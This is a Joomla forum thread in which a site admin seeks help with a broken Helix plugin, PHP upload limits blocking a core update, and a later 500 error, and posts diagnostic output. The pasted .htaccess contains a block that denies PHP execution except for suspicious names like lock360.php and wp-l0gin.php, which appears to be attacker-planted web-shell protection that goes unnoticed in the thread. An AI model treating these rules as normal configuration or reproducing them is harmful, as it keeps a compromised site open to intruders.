Helix Plug-in and update

[TriggAdmin]

My website crashed due to a problem with a Helix Plug-in - which has been renamed by my hosting site , allowing most of the site's functionality to return. At the same time there is a Joomla update 4.4.9 .(which I'm having great difficulty downloading - too big ?)
- I will try to download and activate FPA, but do folks think I need to fix the Helix Plug-in first, or will the update file overwrite this and save me that task ?

[AMurray]

Are you using Upload and Update to update 4.4.9 or using Joomla's Update component to let it update your site?

Why not let Joomla Update install 4.4.9? Check your file upload limit and post limit (php settings) on your web-host (cPanel or similar). Increase them to 64M (Post limit) and 64M (file upload limit). The download file is not that big - 30MB.

You don't need to 'active' the FPA - just upload one file, and run it in your browser. (It's not an extension, it is a standalone tool to generate the FPA report to post the information into this forum).

The Joomla update won't overwrite anything provided through a third-Party plugin or extension. So that Helix plugin (I assume is the Helix Framework plugin) won't be touched. To be safe, what I would do is disable the Helix template and framework, and set the site back to Cassiopeia (just for getting the site updated to 4.4.9) then seek any new updates for Helix from joomshaper.com (or let your system detect and install it.).

[TriggAdmin]

Thanks - I’ll have a go

[TriggAdmin]

Well I have tried using FTP to look at individual php (and other) files to try to locate the relevant one which sets the upload limits - and failed to find it - so I still can’t update joomla to the latest version

Any ideas ?

[gws]

You need to access your server's cpanel to change php options.

[TriggAdmin]

Thank you for the prompt reply - sadly I have spoken to my Hosting provider , where it seems I have a Home Linux package which does not supply a cpanel or similar php editing panel . (I have the option of purchasing a more expensive and fully featured package, which I have no intention of doing for my organisation in view of the costs)

So I am left unable to upload the latest Joomla version - (albeit I can transfer it onto the site via FTP) Can I enact it from there ? Can I stop the site telling me it needs to upgrade every ten minutes ?

[AMurray]

You need to update joomla through Joomla update. You can't simply use FTP to overwrite the files - that cause an incomplete update since there are also database changes that the update script would normally make (which is why you do the updates from the update component).

Whether the 'auto' method or using the upload and update method, using the relevant update package you're updating to (from https://downloads.joomla.org/cms/joomla4).

The Joomla Update method will automatically know what version to update to and will prompt you for that. You can also use the 'Upload and Update' if the other doesn't work for some reason, using the packages found on the above downloads site. Update package (zip) is 28MB.

The update reminder is a plugin you can disable in the Plugins manager. I've never received any email reminders of Joomla updates being available, all I ever see is a subtle "an update is available" ("quick icon") in the Administrator control panel.

I'm sure there are budget-priced hosts out there that use cPanel or similar. How do you manage all the functions one would typically associate with web hosting without such a web host control panel like Plesk or cPanel?

[Pavel-ww]

Thank you for the prompt reply - sadly I have spoken to my Hosting provider , where it seems I have a Home Linux package which does not supply a cpanel or similar php editing panel .

Hi.

Try to add this to .htaccess.

Code: Select all

php_value post_max_size 60M
php_value upload_max_filesize 50M

Then try to update Joomla

[TriggAdmin]

Thanks for the advice - I added the two lines as new ones after the following for the file named .htaccess:
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

But sadly it didn't like it one bit
I have no idea of the syntax rules in this context , but I'm happy to try again ....

[TriggAdmin]

Re Amurray's reply - the file upload limit (as seen on the Joomla update and upload page) is stated as 20MB I can perform some management tasks via the Hosting Provider's desktop page , but this doesn't seem to stretch beyond setting a new version of PHP when it comes out.

[gsmela]

At the top of this page is a direction to use the FPA if you're serious about wanting help.

Go to this link, read it, and follow the directions so the folks here can help.

https://forumpostassistant.github.io/docs/

[TriggAdmin]

Thank you for the advice about FPA - which I have downloaded, unzipped and transferred to the working website using FTP in the same directory location as configuration.php and administrator/ I then try to run the script as requested and get an error message that I cannot open that location (I've tried both with and without the full stop or period)
Any ideas ?

[gsmela]

Temporarily rename your .htaccess file to htaccess.bak and try the fpa script again. Don’t forget to rename the htaccess.bak file to .htaccess when done.

[TriggAdmin]

Joomla! Instance :: Joomla! 4.1.5-Stable (Kuamini) 21-June-2022
Joomla! Configured :: Yes | Writable (644) |
Configuration Options :: Offline: false | SEF: true | SEF Suffix: false | SEF ReWrite: false | .htaccess/web.config: No | GZip: false | Cache: false | CacheTime: 15 | CacheHandler: file | CachePlatformPrefix: false | FTP Layer: false | Proxy: false | LiveSite: | Session lifetime: 15 | Session handler: database | Shared sessions: false | SSL: 0 | Error Reporting: default | Site Debug: false | Language Debug: false | Default Access: Public | Unicode Slugs: false | dbConnection Type: mysqli | PHP Supports J! 4.1.5: Yes | Database Supports J! 4.1.5: Yes | Database Credentials Present: Yes |

Host Configuration :: OS: Linux | OS Version: 3.10.0-1160.119.1.el7.x86_64 | Technology: x86_64 | Web Server: Apache | Encoding: gzip, deflate, br, zstd | System TMP Writable: Yes | Free Disk Space : 422.36 GiB |

PHP Configuration :: Version: 8.2.26 | PHP API: cgi-fcgi | Session Path Writable: Yes | Display Errors: 0 | Error Reporting: 32767 | Log Errors To: | Last Known Error: | Register Globals: | Magic Quotes: | Safe Mode: | Allow url fopen: 1 | Open Base: | Uploads: 1 | Max. Upload Size: 20M | Max. POST Size: 20M | Max. Input Time: -1 | Max. Execution Time: 60 | Memory Limit: 64M

Database Configuration :: Version: 5.6.51-log (Client:mysqlnd 8.2.26) | Database Size: 22.09 MiB | #of Tables with config prefix:  71 | #of other Tables:  78 | User Privileges : GRANT SELECTUser Privileges : INSERTUser Privileges : UPDATEUser Privileges : DELETEUser Privileges : CREATEUser Privileges : DROPUser Privileges : INDEXUser Privileges : ALTERUser Privileges : CREATE TEMPORARY TABLESUser Privileges : LOCK TABLESUser Privileges : EXECUTEUser Privileges : CREATE VIEWUser Privileges : SHOW VIEWUser Privileges : CREATE ROUTINEUser Privileges : ALTER ROUTINE ON `TriggMorris2020`.* TO 'TriggAdmin'@'%' WITH GRANT OPTION

PHP Extensions :: Core (8.2.26) | date (8.2.26) | libxml (8.2.26) | openssl (8.2.26) | pcre (8.2.26) | sqlite3 (8.2.26) | zlib (8.2.26) | bz2 (8.2.26) | calendar (8.2.26) | ctype (8.2.26) | curl (8.2.26) | hash (8.2.26) | fileinfo (8.2.26) | filter (8.2.26) | ftp (8.2.26) | gd (8.2.26) | gettext (8.2.26) | gmp (8.2.26) | json (8.2.26) | iconv (8.2.26) | intl (8.2.26) | SPL (8.2.26) | session (8.2.26) | standard (8.2.26) | pcntl (8.2.26) | mbstring (8.2.26) | mysqlnd (mysqlnd 8.2.26) | Phar (8.2.26) | posix (8.2.26) | random (8.2.26) | readline (8.2.26) | Reflection (8.2.26) | mysqli (8.2.26) | shmop (8.2.26) | SimpleXML (8.2.26) | sockets (8.2.26) | sodium (8.2.26) | sysvmsg (8.2.26) | sysvsem (8.2.26) | sysvshm (8.2.26) | tokenizer (8.2.26) | xml (8.2.26) | zip (1.21.1) | cgi-fcgi (8.2.26) | bcmath (8.2.26) | dba (8.2.26) | dom (20031129) | igbinary (3.2.15) | imap (8.2.26) | ldap (8.2.26) | exif (8.2.26) | msgpack (3.0.0) | memcached (3.3.0) | odbc (8.2.26) | PDO (8.2.26) | pdo_dblib (8.2.26) | pdo_mysql (8.2.26) | PDO_ODBC (8.2.26) | pdo_pgsql (8.2.26) | pdo_sqlite (8.2.26) | pgsql (8.2.26) | pspell (8.2.26) | snmp (8.2.26) | soap (8.2.26) | tidy (8.2.26) | xmlreader (8.2.26) | xmlwriter (8.2.26) | xsl (8.2.26) | ionCube Loader (14.0.0) | Zend OPcache (8.2.26) | Zend Engine (4.2.26) |
Potential Missing Extensions ::
Disabled Functions :: shell_exec | exec | system | popen | set_time_limit |

Switch User Environment :: PHP CGI: Yes | Server SU: No | PHP SU: Yes | Potential Ownership Issues: No

Core Folders :: images/ (755) | components/ (755) | modules/ (755) | plugins/ (755) | language/ (755) | templates/ (755) | cache/ (755) | logs/ (---) | tmp/ (755) | administrator/components/ (755) | administrator/modules/ (755) | administrator/language/ (755) | administrator/templates/ (755) | administrator/logs/ (755) | api/ (755) |

Elevated Permissions (First 10) :: photogal/ (707) |

Database statistics :: Uptime: 1688557 | Threads: 21 | Questions: 3557550935 | Slow queries: 580 | Opens: 9278962 | Flush tables: 1 | Open tables: 16384 | Queries per second avg: 2106.858 |

Components :: Site ::
Core ::
3rd Party::

Components :: Admin ::
Core :: com_categories (4.0.0) 1 | com_languages (4.0.0) 1 | com_cpanel (4.0.0) 1 | com_modules (4.0.0) 1 | com_media (3.0.0) 1 | com_users (4.0.0) 1 | com_menus (4.0.0) 1 | com_associations (4.0.0) 1 | com_installer (4.0.0) 1 | com_workflow (4.0.0) 1 | com_newsfeeds (4.0.0) 1 | com_postinstall (4.0.0) 1 | com_ajax (4.0.0) 1 | com_plugins (4.0.0) 1 | com_login (4.0.0) 1 | com_mails (4.0.0) 1 | com_banners (4.0.0) 1 | com_joomlaupdate (4.0.3) 1 | com_tags (4.0.0) 1 | com_contenthistory (4.0.0) 1 | com_actionlogs (3.9.0) 1 | com_templates (4.0.0) 1 | com_fields (4.0.0) 1 | com_scheduler (4.1.0) 1 | com_finder (4.0.0) 1 | com_privacy (3.9.0) 1 | com_content (4.0.0) 1 | com_cache (4.0.0) 1 | com_checkin (4.0.0) 1 | com_config (4.0.0) 1 | com_admin (4.0.0) 1 | com_search (4.0.0-dev) 1 | com_wrapper (4.0.0) 1 | com_redirect (4.0.0) 1 | com_messages (4.0.0) 1 |
3rd Party::

Modules :: Site ::
Core :: mod_articles_archive (3.0.0) 1 | mod_related_items (3.0.0) 1 | mod_languages (3.5.0) 1 | mod_feed (3.0.0) 1 | mod_stats (3.0.0) 1 | mod_syndicate (3.0.0) 1 | mod_custom (3.0.0) 1 | mod_whosonline (3.0.0) 1 | mod_articles_category (3.0.0) 1 | mod_login (3.0.0) 1 | mod_finder (3.0.0) 1 | mod_users_latest (3.0.0) 1 | mod_footer (3.0.0) 1 | mod_search (4.0.0-dev) 1 | mod_banners (3.0.0) 1 | mod_articles_news (3.0.0) 1 | mod_articles_latest (3.0.0) 1 | mod_tags_popular (3.1.0) 1 | mod_tags_similar (3.1.0) 1 | mod_random_image (3.0.0) 1 | mod_breadcrumbs (3.0.0) 1 | mod_articles_categories (3.0.0) 1 | mod_menu (3.0.0) 1 | mod_wrapper (3.0.0) 1 | mod_articles_popular (3.0.0) 1 |
3rd Party::

Modules :: Admin ::
Core :: mod_loginsupport (4.0.0) 1 | mod_sampledata (3.8.0) 1 | mod_toolbar (3.0.0) 1 | mod_feed (3.0.0) 1 | mod_title (3.0.0) 1 | mod_custom (3.0.0) 1 | mod_stats_admin (3.0.0) 1 | mod_frontend (4.0.0) 1 | mod_login (3.0.0) 1 | mod_latest (3.0.0) 1 | mod_popular (3.0.0) 1 | mod_user (4.0.0) 1 | mod_latestactions (3.9.0) 1 | mod_version (3.0.0) 1 | mod_multilangstatus (3.0.0) 1 | mod_post_installation_messages (4.0.0) 1 | mod_privacy_dashboard (3.9.0) 1 | mod_submenu (3.0.0) 1 | mod_privacy_status (4.0.0) 1 | mod_menu (3.0.0) 1 | mod_logged (3.0.0) 1 | mod_quickicon (3.0.0) 1 | mod_messages (4.0.0) 1 |
3rd Party::

Libraries ::
Core ::
3rd Party::

Plugins ::
Core :: plg_captcha_recaptcha_invisible (3. 0 | plg_captcha_recaptcha (3.4.0) 0 | plg_filesystem_local (4.0.0) 1 | plg_media-action_crop (4.0.0) 1 | plg_media-action_resize (4.0.0) 1 | plg_media-action_rotate (4.0.0) 1 | plg_authentication_ldap (3.0.0) 0 | plg_authentication_joomla (3.0.0) 1 | plg_authentication_cookie (3.0.0) 1 | plg_behaviour_taggable (4.0.0) 1 | plg_behaviour_versionable (4.0.0) 1 | plg_editors-xtd_fields (3.7.0) 1 | plg_editors-xtd_readmore (3.0.0) 1 | plg_editors-xtd_image (3.0.0) 1 | plg_editors-xtd_pagebreak (3.0.0) 1 | plg_editors-xtd_menu (3.7.0) 1 | plg_editors-xtd_article (3.0.0) 1 | plg_editors-xtd_module (3.5.0) 1 | plg_sampledata_multilang (4.0.0) 1 | plg_task_site_status (4.1) 1 | plg_task_requests (4.1) 1 | plg_task_demo_tasks (4.1) 1 | plg_task_check_files (4.1) 1 | plg_api-authentication_basic (4.0.0) 0 | plg_api-authentication_token (4.0.0) 1 | plg_webservices_tags (4.0.0) 1 | plg_webservices_newsfeeds (4.0.0) 1 | plg_webservices_media (4.1.0) 1 | plg_webservices_menus (4.0.0) 1 | plg_webservices_modules (4.0.0) 1 | plg_webservices_languages (4.0.0) 1 | plg_webservices_plugins (4.0.0) 1 | plg_webservices_installer (4.0.0) 1 | plg_webservices_banners (4.0.0) 1 | plg_webservices_users (4.0.0) 1 | plg_webservices_content (4.0.0) 1 | plg_webservices_privacy (4.0.0) 1 | plg_webservices_templates (4.0.0) 1 | plg_webservices_config (4.0.0) 1 | plg_webservices_messages (4.0.0) 1 | plg_webservices_redirect (4.0.0) 1 | plg_workflow_featuring (4.0.0) 1 | plg_workflow_publishing (4.0.0) 1 | plg_workflow_notification (4.0.0) 1 | plg_twofactorauth_yubikey (3.2.0) 0 | plg_twofactorauth_totp (3.2.0) 0 | plg_installer_webinstaller (4.0.0) 1 | plg_installer_urlinstaller (3.6.0) 1 | plg_installer_packageinstaller (3.6.0) 1 | plg_installer_override (4.0.0) 1 | plg_installer_folderinstaller (3.6.0) 1 | plg_content_emailcloak (3.0.0) 1 | plg_content_vote (3.0.0) 0 | plg_content_fields (3.7.0) 1 | plg_content_joomla (3.0.0) 1 | plg_content_finder (3.0.0) 1 | plg_content_pagebreak (3.0.0) 1 | plg_content_pagenavigation (3.0.0) 1 | plg_content_confirmconsent (3.9.0) 0 | plg_content_loadmodule (3.0.0) 1 | plg_fields_subform (4.0.0) 1 | plg_fields_usergrouplist (3.7.0) 1 | plg_fields_media (3.7.0) 1 | plg_fields_integer (3.7.0) 1 | plg_fields_imagelist (3.7.0) 1 | plg_fields_text (3.7.0) 1 | plg_fields_sql (3.7.0) 1 | plg_fields_editor (3.7.0) 1 | plg_fields_calendar (3.7.0) 1 | plg_fields_list (3.7.0) 1 | plg_fields_url (3.7.0) 1 | plg_fields_textarea (3.7.0) 1 | plg_fields_checkboxes (3.7.0) 1 | plg_fields_color (3.7.0) 1 | plg_fields_radio (3.7.0) 1 | plg_fields_user (3.7.0) 1 | plg_actionlog_joomla (3.9.0) 1 | plg_extension_joomla (3.0.0) 1 | plg_extension_finder (4.0.0) 1 | plg_extension_namespacemap (4.0.0) 1 | plg_finder_tags (3.0.0) 1 | plg_finder_newsfeeds (3.0.0) 1 | plg_finder_contacts (3.0.0) 1 | plg_finder_categories (3.0.0) 1 | plg_finder_content (3.0.0) 1 | plg_privacy_content (3.9.0) 1 | plg_privacy_consents (3.9.0) 1 | plg_privacy_actionlogs (3.9.0) 1 | plg_privacy_message (3.9.0) 1 | plg_privacy_user (3.9.0) 1 | plg_system_accessibility (4.0.0) 0 | plg_system_updatenotification (3.5.0) 1 | plg_system_privacyconsent (3.9.0) 0 | plg_system_sessiongc (3.8.6) 1 | plg_system_schedulerunner (4.1) 1 | plg_system_log (3.0.0) 1 | plg_system_languagecode (3.0.0) 0 | plg_system_sef (3.0.0) 1 | plg_system_remember (3.0.0) 1 | plg_system_task_notification (4.1) 1 | plg_system_webauthn (4.0.0) 1 | plg_system_jooa11y (4.2.0) 1 | plg_system_fields (3.7.0) 1 | plg_system_debug (3.0.0) 1 | plg_system_highlight (3.0.0) 1 | plg_system_cache (3.0.0) 0 | plg_system_languagefilter (3.0.0) 0 | plg_system_skipto (4.0.0) 1 | plg_system_logout (3.0.0) 1 | plg_system_stats (3.5.0) 1 | plg_system_redirect (3.0.0) 0 | plg_system_actionlogs (3.9.0) 1 | plg_system_logrotation (3.9.0) 1 | plg_system_httpheaders (4.0.0) 1 | plg_quickicon_downloadkey (4.0.0) 1 | plg_quickicon_overridecheck (4.0.0) 1 | plg_quickicon_joomlaupdate (3.0.0) 1 | plg_quickicon_privacycheck (3.9.0) 1 | plg_quickicon_extensionupdate (3.0.0) 1 | plg_quickicon_phpversioncheck (3.7.0) 1 | plg_search_tags (4.0.0-dev) 1 | plg_search_newsfeeds (4.0.0-dev) 1 | plg_search_contacts (4.0.0-dev) 1 | plg_search_categories (4.0.0-dev) 1 | plg_search_content (4.0.0-dev) 1 | plg_user_terms (3.9.0) 0 | plg_user_token (3.9.0) 1 | plg_user_profile (3.0.0) 0 | plg_user_joomla (3.0.0) 1 | plg_user_contactcreator (3.0.0) 0 |
3rd Party:: plg_editors_codemirror (5.65.2) 1 | plg_editors_tinymce (5.10.3) 1 | EasyImageCaption (1.12) 0 | System - Helix3 Framework (3.0.5) 1 | Helix3 - Ajax (3.0.5) 1 |

Templates :: Site :: cassiopeia (1.0) 1 | ettennis (1.0) 1 | cassiopeia_trigg (1.0) 1 |
Templates :: Admin :: atum (1.0) 1 |

[Pavel-ww]

Hi.

Contact your hosting provider and ask how to change these parameters. If you do not have cPanel or similar, then this is usually can be done in the php.ini file or through the command in the console.

1.jpg

[TriggAdmin]

Sadly Pavel , I haven't got a cpanel, and the hosting provider isn't being helpful. Things have now got worse , and the whole website is down (a 500 Red system error) , and the Joomla control panel returns the same error.

[AMurray]

If you don't have cPanel and the hosting provider 'isn't being helpful, it's time to change hosts to one that uses cpanel or something similar that makes web hosting management so much easier. That's all I can suggest.

Error 500 usually indicates PHP errors. Turn on Error Reporting (edit the configuration.php file) and also turn on debug in the similar fashion. Normally that's also something you could turn on from cPanel.

Refer to :

Error Reporting: default | Site Debug: false

Change these to "maximum" and "true" respectively.